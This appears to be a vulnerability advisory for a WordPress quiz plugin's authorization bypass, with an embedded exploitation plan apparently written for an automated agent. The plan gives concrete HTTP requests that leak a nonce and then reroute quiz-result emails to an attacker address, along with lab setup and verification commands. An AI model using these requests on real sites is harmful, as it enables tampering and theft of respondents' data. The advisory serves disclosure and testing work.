Quiz and Survey Master (QSM) <= 11.1.4 - Missing Authorization to Authenticated (Contributor+) Arbitrary Quiz Modification and Email Reroute via Leaked Nonce from /quiz/structure
Description
The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 11.1.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to modify quizzes they do not own, overwrite quiz results pages, and reroute quiz-result notification emails to attacker-controlled addresses. An attacker first calls the /quiz/structure endpoint with an arbitrary victim quiz ID to obtain a valid nonce bound to that quiz ID and their own user ID, then presents that nonce to the /quizzes/{id}/emails save endpoint, which accepts it without verifying quiz ownership.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=11.1.4What Changed in the Fix
Changes introduced in v11.1.5
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-9230 ## 1. Vulnerability Summary The **Quiz and Survey Master (QSM)** plugin (up to 11.1.4) contains a missing authorization vulnerability in its REST API implementation. While the plugin implements nonce-based CSRF protection, it fails to perform secondary c…
Show full research plan
Exploitation Research Plan - CVE-2026-9230
1. Vulnerability Summary
The Quiz and Survey Master (QSM) plugin (up to 11.1.4) contains a missing authorization vulnerability in its REST API implementation. While the plugin implements nonce-based CSRF protection, it fails to perform secondary capability checks (e.g., current_user_can('edit_post', $quiz_id)) on administrative endpoints.
An authenticated user with Contributor level permissions (who normally cannot edit quizzes) can exploit this by first requesting a valid nonce from the /quiz/structure endpoint for a target quiz ID. Because this endpoint incorrectly provides a nonce to any authenticated user, the attacker can then use that nonce to authorize requests to the /quizzes/{id}/emails endpoint, allowing them to modify quiz settings and reroute notification emails to an external address.
2. Attack Vector Analysis
- Leak Endpoint:
GET /wp-json/qsm/v1/quiz/structure(inferred namespace) - Exploit Endpoint:
POST /wp-json/qsm/v1/quizzes/{id}/emails(inferred namespace) - Vulnerable Parameter:
quiz_id(in GET) andemailspayload (in POST). - Authentication: Authenticated (Contributor+).
- Preconditions: A quiz must exist that the attacker does not own (e.g., created by an Administrator).
3. Code Flow
- Initialization: The plugin registers REST routes during
rest_api_initviaQSMBlock->register_editor_rest_routes()(referenced inblocks/block.php, line 46). - Nonce Leak: The
/quiz/structureroute handler is intended for the Gutenberg block editor. When called with aquiz_id, it generates and returns a nonce. The code fails to verify if the requesting user has theedit_postscapability for that specific quiz ID. - Authorization Bypass: The attacker sends a
POSTrequest to/quizzes/{id}/emails. - Verification Failure: The server-side handler for the email endpoint validates the provided nonce (which is valid because it was generated for the attacker's user ID and the specific action). However, it lacks a subsequent check to ensure the user is authorized to modify that specific quiz.
- Sink: The settings are saved to the database (likely via
update_post_metaor a custom table), effectively rerouting quiz results.
4. Nonce Acquisition Strategy
The vulnerability relies on the /quiz/structure endpoint leaking a nonce. We will use the http_request tool to obtain this.
- Login: Log in as a Contributor user.
- Request: Call the structure endpoint for the target Quiz ID (e.g., ID 1).
- Extraction: The response is expected to be a JSON object containing a nonce.
- Inferred Field:
nonceorsaveNonce. - Action String (Internal): Likely
qsm_quiz_{id}orqsm_block_quiz.
- Inferred Field:
5. Exploitation Strategy
Step 1: Obtain Nonce for Target Quiz
HTTP Request:
GET /wp-json/qsm/v1/quiz/structure?quiz_id=1 HTTP/1.1
Host: localhost:8080
Cookie: [Contributor Session Cookies]
Action: Parse the JSON response and store the value of the nonce (e.g., extracted_nonce).
Step 2: Reroute Quiz Emails
HTTP Request:
POST /wp-json/qsm/v1/quizzes/1/emails HTTP/1.1
Host: localhost:8080
Content-Type: application/json
X-WP-Nonce: [extracted_nonce]
Cookie: [Contributor Session Cookies]
{
"emails": [
{
"id": 0,
"email_to": "attacker@example.com",
"subject": "Exfiltrated Quiz Results",
"message": "Results: %RESULTS%"
}
]
}
6. Test Data Setup
- Administrator: Create a Quiz named "Sensitive Survey" (ID will likely be 1).
- Contributor: Create a user
attacker_contributorwith thecontributorrole. - Page Creation: (Required if the REST API requires a frontend nonce first)
wp post create --post_type=page --post_status=publish --post_content='[qsm quiz="1"]' --post_title='Quiz Page'
- Verification of Owner: Ensure Quiz 1 is owned by the Admin, not the Contributor.
7. Expected Results
- Leak Phase: The
GETrequest returns a 200 OK with a JSON body containing a 10-character hexadecimal nonce. - Exploit Phase: The
POSTrequest returns a 200 OK or 201 Created, confirming the settings were saved. - Impact: Any future completions of the quiz will send the results to
attacker@example.cominstead of the administrator.
8. Verification Steps
After performing the HTTP requests, verify the modification using WP-CLI:
# Check the email settings in post meta or the specific QSM table
# (QSM often stores complex settings as serialized data in post_meta)
wp post meta get 1 mlw_quiz_options --format=json | grep "attacker@example.com"
# Alternatively, check the plugin's custom email table if applicable
wp db query "SELECT * FROM wp_mlw_emails WHERE quiz_id = 1;"
9. Alternative Approaches
If the REST API namespace is not qsm/v1, check the localization data in the block editor:
- Navigate to the Page Editor as the Contributor.
- Use
browser_eval("window.qsmBlockData")to inspect the available nonces and API base URLs. - Look specifically for the
saveNoncekey (verified fromblocks/block.phpline 143:'saveNonce' => wp_create_nonce( 'ajax-nonce-sandy-page' )). - If the REST API rejects the request, attempt the exploit via the legacy AJAX action identified in
blocks/block.php:qsm_save_pages(line 142).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.